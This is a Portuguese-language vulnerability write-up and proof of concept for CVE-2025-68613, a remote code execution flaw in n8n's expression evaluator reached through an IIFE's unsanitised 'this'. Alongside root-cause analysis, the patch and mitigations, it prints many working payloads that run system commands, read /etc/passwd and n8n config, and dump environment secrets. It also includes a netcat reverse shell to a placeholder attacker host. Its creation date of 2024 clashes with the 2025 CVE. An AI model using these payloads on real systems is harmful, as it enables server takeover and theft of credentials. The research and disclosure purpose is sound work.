
Análise técnica detalhada e prova de conceito para CVE-2025-68613, uma vulnerabilidade crítica de RCE na avaliação de expressão do n8n via bypass de contexto this em IIFE. Inclui análise de causa raiz, vetores de exploração e orientações de mitigação.
Data: 23 de dezembro de 2024 Status: ✅ RCE totalmente verificado com sucesso Pontuação CVSS: 10.0 (Crítico)
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
Resultado da execução: Retornou com sucesso informações do usuário do sistema (ex.: uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))
thisEntrada do usuário
↓
{{ (function() { ... })() }}
↓
Expression.resolveSimpleParameterValue()
↓
Criação do objeto de contexto data
↓
data.process = referência real do objeto process
↓
Tournament.execute(expression, data)
↓
FunctionEvaluator.evaluate()
↓
fn.call(data, errorHandler) ← ⚠️ Crítico: this = data
↓
Execução da função de execução imediata
↓
this.process.mainModule.require ← ⚠️ Acesso ao require real
↓
Carregamento do módulo child_process
↓
execSync('id') ← 🔥 RCE Completo!
Arquivo: packages/workflow/src/expression.ts
Função: Expression.resolveSimpleParameterValue()
Linhas: aproximadamente 230-290
// Geração do proxy de dados
const dataProxy = new WorkflowDataProxy(
this.workflow,
runExecutionData,
runIndex,
itemIndex,
activeNodeName,
connectionInputData,
siblingParameters,
mode,
additionalKeys,
executeData,
-1,
selfData,
contextNodeName,
);
const data = dataProxy.getDataProxy();
// ⚠️ Ponto de vulnerabilidade 1: adicionar objeto process a data
data.process =
typeof process !== 'undefined'
? {
arch: process.arch,
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
platform: process.platform,
pid: process.pid,
ppid: process.ppid,
release: process.release,
version: process.pid,
versions: process.versions,
}
: {};
// ⚠️ Problema: Embora apenas algumas propriedades sejam expostas aqui, é passada uma referência de objeto
// O objeto process real ainda pode ser acessado através da cadeia de protótipos ou outros meios
Arquivo: node_modules/@n8n/tournament/src/FunctionEvaluator.ts
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
const fn = this.getFunction(expr);
// ⚠️ Ponto de vulnerabilidade 2: passar data como this
return fn.call(data, this.instance.errorHandler);
}
private
getFunction(expr
:
string
):
Function
{
if (expr in this._codeCache) {
return this._codeCache[expr];
}
const [code] = this.instance.getExpressionCode(expr);
// ⚠️ Ponto de vulnerabilidade 3: usar new Function para criar funções
const func = new Function('E', code + ';');
this._codeCache[expr] = func;
return func;
}
thisArquivo: packages/workflow/src/expression-sandboxing.ts
Antes da v1.122.0:
// ❌ Sem FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [], // ← Array vazio, sem sanitização de this
after: [PrototypeSanitizer, DollarSignValidator],
});
Após a v1.122.0:
// ✅ Adicionado FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [FunctionThisSanitizer], // ← Novo hook
after: [PrototypeSanitizer, DollarSignValidator],
});
// Implementação do FunctionThisSanitizer
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
astVisit(ast, {
visitFunction(path) {
// Reescreve todas as expressões de função, vinculando explicitamente this a um objeto seguro
const safeThis = b.objectExpression([
b.property('init', b.identifier('process'), b.objectExpression([]))
]);
// Transforma function() { ... } em function() { ... }.bind({ process: {} })
}
});
};
Arquivo: packages/workflow/src/utils.ts
Função: isSafeObjectProperty()
Antes da v1.122.0:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf'
]);
// ❌ Faltam mainModule, binding, _load
Após a v1.122.0:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf',
'mainModule', // ✅ Novo
'binding', // ✅ Novo
'_load' // ✅ Novo
]);
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('whoami', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('pwd', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('uname -a', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('ls -la /', {encoding: 'utf8'});
})()
}
}
// Ler arquivos sensíveis
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('/etc/passwd', 'utf8');
})()
}
}
// Listar diretórios
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('/').join('\n');
})()
}
}
// Ler configuração do n8n
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('./.n8n/config', 'utf8');
})()
}
}
// Listar diretório atual
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('.').join('\n');
})()
}
}
// Acesso direto via this.process
{
{
(function () {
return JSON.stringify(this.process.env);
})()
}
}
// Ou usando método já conhecido disponível
{
{
JSON.stringify(process.env)
}
}
// Verificar ferramentas de rede
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('which nc', {encoding: 'utf8'}).trim();
})()
}
}
// Obter interfaces de rede
{
{
(function () {
var os = this.process.mainModule.require('os');
return JSON.stringify(os.networkInterfaces());
})()
}
}
// Reverse Shell (⚠️ Perigoso! Apenas para testes autorizados)
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
})()
}
}
| # | Tipo de Ataque | Payload | Status | CVSS |
|---|---|---|---|---|
| 1 | Vazamento de variáveis de ambiente | {{ Object.keys(process.env) }} | ✅ Sucesso | 8.5 |
| 2 | Bypass via Constructor | {{ [][constructor] }} | ✅ Sucesso | 8.0 |
| 3 | Construtor Function | {{ [][constructor][constructor] }} | ✅ Sucesso | 8.5 |
| 4 | Execução de código | {{ [][constructor][constructor]('return 1+1')() }} | ✅ Sucesso | 9.0 |
| 5 | RCE Completo | {{ (function() { this.process.mainModule.require... })() }} | ✅ Sucesso | 10.0 |
| # | Tipo de Ataque | Motivo |
|---|---|---|
| 1 | require direto | Indisponível em novo escopo |
| 2 | process no construtor Function | this sanitizado em alguns contextos |
| 3 | process.binding / process._load | Possivelmente bloqueado ou restrito |
{
{
Object.keys(process.env)
}
} // ✅ Sucesso
N8N_BLOCK_ENV_ACCESS_IN_NODE não definido como true{
{
[][`constructor`][`constructor`]
}
} // ✅ Sucesso
this da IIFE Não Sanitizado{
{
(function () {
return this.process.mainModule.require;
})()
}
} // ✅ Sucesso
this dentro da função de execução imediata ainda aponta para o contexto de dados originalthis.process.mainModule.require acessívelA combinação dos três = RCE Completo!
// Novo AST before hook
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
// Itera sobre todas as expressões de função
// Reescreve funções, forçando a vinculação de this a { process: {} }
// Assim, mesmo em IIFE, this é um objeto vazio seguro
};
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf',
'mainModule', // ← Novo
'binding', // ← Novo
'_load' // ← Novo
]);
// Possível mudança do valor padrão para true
data.process = {
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== 'false' ? {} : process.env,
// ...
};
String do Vetor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| Métrica | Valor | Descrição |
|---|---|---|
| Vetor de Ataque (AV) | Rede (N) | Explorável remotamente |
| Complexidade do Ataque (AC) | Baixa (L) | Exploração simples |
| Privilégios Necessários (PR) | Baixo (L) | Apenas usuário autenticado |
| Interação do Usuário (UI) | Nenhuma (N) | Nenhuma interação necessária |
| Escopo (S) | Alterado (C) | Afeta o sistema subjacente |
| Confidencialidade (C) | Alta (H) | Vazamento total de informações |
| Integridade (I) | Alta (H) | Controle total do sistema |
| Disponibilidade (A) | Alta (H) | Interrupção total do serviço |
Pontuação Base: 10.0 (Máxima)
N8N_BLOCK_ENV_ACCESS_IN_NODE=true# Método 1: Exportar variável de ambiente
export N8N_BLOCK_ENV_ACCESS_IN_NODE=true
# Método 2: No arquivo .env
echo "N8N_BLOCK_ENV_ACCESS_IN_NODE=true" >> .env
# Método 3: Docker Compose
environment:
- N8N_BLOCK_ENV_ACCESS_IN_NODE=true
# npm
npm install -g n8n@latest
# Docker
docker pull docker.n8n.io/n8nio/n8n:latest
docker-compose down
docker-compose up -d
# Verificar versão
n8n --version # Deve ser >= 1.122.0
-- Se estiver usando PostgreSQL
SELECT name, nodes
FROM workflows
WHERE nodes::text LIKE '%process%'
OR nodes::text LIKE '%constructor%'
OR nodes::text LIKE '%mainModule%'
OR nodes::text LIKE '%require%';
# docker-compose.yml
services:
n8n:
image: docker.n8n.io/n8nio/n8n:latest
read_only: true
security_opt:
- no-new-privileges:true
- seccomp=seccomp-profile.json
cap_drop:
- ALL
cap_add:
- CHOWN
- SETGID
- SETUID
environment:
- N8N_BLOCK_ENV_ACCESS_IN_NODE=true
Para: [email protected]
Assunto: [CRÍTICO] Vulnerabilidade RCE 0-day – Bypass do Contexto this em IIFE
Gravidade: CVSS 10.0 (Crítico)
Versões Afetadas: n8n < 1.122.0
Resumo:
Foi descoberta uma vulnerabilidade RCE grave que permite a usuários autenticados
acessarem process.mainModule.require através de funções de execução imediata (IIFE),
executando assim comandos arbitrários do sistema.
PoC Verificado:
{{ (function() {
var require = this.process.mainModule.require;
var { execSync } = require('child_process');
return execSync('id', { encoding: 'utf8' }).trim();
})() }}
Causa Raiz:
1. this em IIFE não sanitizado
2. process.mainModule não bloqueado
3. N8N_BLOCK_ENV_ACCESS_IN_NODE padrão false
Correção Sugerida:
1. Implementar hook FunctionThisSanitizer
2. Adicionar mainModule, binding, _load à lista negra
3. Ativar proteção de variáveis de ambiente por padrão
Análise detalhada em anexo.
Criado em: 23 de dezembro de 2024 Status da Vulnerabilidade: ✅ Totalmente verificado com sucesso Pontuação CVSS: 10.0 (Crítico) Recomendação: Divulgar e corrigir imediatamente
🎉 Parabéns por descobrir uma vulnerabilidade RCE de pontuação máxima! Lide e divulgue de forma responsável! 🔒